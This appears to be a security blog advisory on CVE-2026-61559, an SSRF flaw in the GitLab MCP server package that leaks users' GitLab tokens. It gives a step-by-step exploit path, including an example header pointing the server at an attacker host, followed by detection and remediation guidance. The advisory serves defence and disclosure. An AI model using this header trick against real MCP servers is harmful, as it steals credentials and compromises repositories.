Skip to main content
COSMICBYTEZLABS
NewsSecurityHOWTOsToolsTraining
StudyProjectsNewsletterHire MeAbout
Subscribe

Press Enter to search or Esc to close

News
Security
HOWTOs
Tools
Training
Study
Projects
Newsletter
Hire Me
About
RSS Feed
Reading List
Subscribe

Stay in the Loop

Get the latest security alerts, tutorials, and tech insights delivered to your inbox.

Subscribe NowFree forever. No spam.
COSMICBYTEZLABS

Your trusted source for IT intelligence, cybersecurity insights, and hands-on technical guides.

2868+ Articles
168+ Guides

CONTENT

  • Latest News
  • Security Alerts
  • HOWTOs
  • Checklists
  • Projects
  • Exam Prep

RESOURCES

  • Search
  • Browse Tags
  • Newsletter Archive
  • Reading List
  • RSS Feed

COMPANY

  • About Us
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CosmicBytez Labs. All rights reserved.

System Status: Operational
  1. Home
  2. Security
  3. Critical SSRF in GitLab MCP Server Leaks Private Tokens to Attackers
Critical SSRF in GitLab MCP Server Leaks Private Tokens to Attackers

Critical Security Alert

This vulnerability is actively being exploited. Immediate action is recommended.

SECURITYCRITICALCVE-2026-61559

Critical SSRF in GitLab MCP Server Leaks Private Tokens to Attackers

CVE-2026-61559 lets attackers redirect @zereight/mcp-gitlab's outbound API calls via a request header, leaking victim GitLab tokens to attacker hosts.

Dylan H.

Security Team

September 16, 2026
4 min read

Affected Products

  • @zereight/mcp-gitlab ≥ 0.0.1, < 2.1.27

Executive Summary

A critical server-side request forgery and token leakage vulnerability (CVE-2026-61559) has been disclosed in @zereight/mcp-gitlab, the most widely used community Model Context Protocol (MCP) server bridging AI agents like Claude, Cursor, and GitHub Copilot to GitLab. The package ships on npm with 200,000+ downloads and backs a repo with 1.8K+ GitHub stars. Researchers at Pluto Security found that, under a common configuration, any caller able to reach the server's HTTP transport can hijack its outbound GitLab API calls and exfiltrate a victim's Private-Token to an attacker-controlled host.

CVSS Score: Critical (see companion advisory CVE-2026-61568 for the related DNS rebinding flaw in the same package)


Vulnerability Overview

AttributeValue
CVE IDCVE-2026-61559
SeverityCritical
TypeServer-Side Request Forgery (SSRF) + Token Leakage
Component@zereight/mcp-gitlab (gitlab-mcp)
Trigger ConditionENABLE_DYNAMIC_API_URL=true environment variable set
Attack VectorNetwork (HTTP transport reachable by the caller)
Privileges RequiredNone beyond reaching the MCP HTTP endpoint

Affected Versions

PackageAffected VersionsFixed Version
@zereight/mcp-gitlab0.0.1 – 2.1.262.1.27

How the Exploit Works

When ENABLE_DYNAMIC_API_URL=true is set, the MCP server reads a client-supplied X-GitLab-API-URL HTTP header and uses it as the base URL for every subsequent outbound GitLab API request — validating only that the value is a well-formed URL, with no allowlist or hostname restriction. The server then attaches the victim's stored Private-Token to any request routed through that attacker-supplied base URL.

1. Attacker identifies an MCP-GitLab instance reachable over HTTP with dynamic API URL enabled
2. Attacker sets X-GitLab-API-URL: https://attacker.example.com in a request to the server
3. The server's next outbound "GitLab API" call goes to attacker.example.com instead
4. The victim's Private-Token is attached to that request and lands on the attacker's server
5. Attacker now holds a valid GitLab personal access/project token for the victim account

Impact of Successful Exploitation

ImpactDescription
Credential TheftFull GitLab Private-Token exfiltrated to attacker infrastructure
Repository CompromiseToken reuse to read/write private repos, pipelines, and secrets
AI Agent HijackAny agent connected to the compromised MCP server inherits the exposure
Supply Chain Risk200K+ downloads means a broad population of AI-tooling users are exposed

Remediation

Step 1: Update the Package

npm install @zereight/mcp-gitlab@latest
# Confirm version 2.1.27 or later
npx @zereight/mcp-gitlab --version

Step 2: Review Configuration

  1. Do not enable ENABLE_DYNAMIC_API_URL unless it's strictly required.
  2. If it must be enabled, restrict outbound requests to an explicit GitLab host allowlist at the network layer (egress firewall rules).
  3. Rotate any GitLab tokens the MCP server has held, on the assumption they may already be exposed.

Step 3: Also Patch CVE-2026-61568

Version 2.1.27 does not cover the related DNS-rebinding flaw in the same package — upgrade to 2.1.30 to close both issues. See CVE-2026-61568 for details.


Detection Indicators

IndicatorDescription
Outbound requests to unfamiliar hosts from the MCP server processPossible SSRF exploitation in progress
X-GitLab-API-URL headers in inbound request logs pointing off GitLab's domainExploitation attempt
Unexpected GitLab API activity from unfamiliar IPsSign of a leaked token being reused

References

  • Pluto Security — One Request to Own Every Repo: How We Hijacked GitLab Through Its MCP Server
  • CVEReports — CVE-2026-61559
  • NIST NVD — CVE-2026-61559

Related Reading

  • CVE-2026-61568: DNS Rebinding in GitLab MCP Server
  • Critical Argument Injection in Fireshare Lets Attackers Overwrite Files
#MCP#GitLab#SSRF#CVE-2026-61559#AI Supply Chain#Token Leakage

Related Articles

CVE-2026-19516: SSRF in mcp-grafana Allows Arbitrary Outbound Requests

A critical server-side request forgery vulnerability in mcp-grafana lets callers hijack the MCP server's outbound HTTP requests via a caller-supplied X-Grafana-URL header, enabling SSRF attacks against internal and external hosts.

5 min read

GitLab MCP Server Open to DNS Rebinding, Full Account Takeover

CVE-2026-61568 (CVSS 9.6) lets a malicious webpage use DNS rebinding to reach a victim's local GitLab MCP server and hijack their GitLab account.

4 min read

CVE-2026-62316: Microsoft UFO MCP Server DNS Rebinding and SSRF via Missing Host Validation

CVSS 8.8: Microsoft's UFO framework MCP server binds to localhost but skips Host/Origin header checks, enabling DNS rebinding and SSRF attacks. Fixed in 3.0.8.

4 min read
Back to all Security Alerts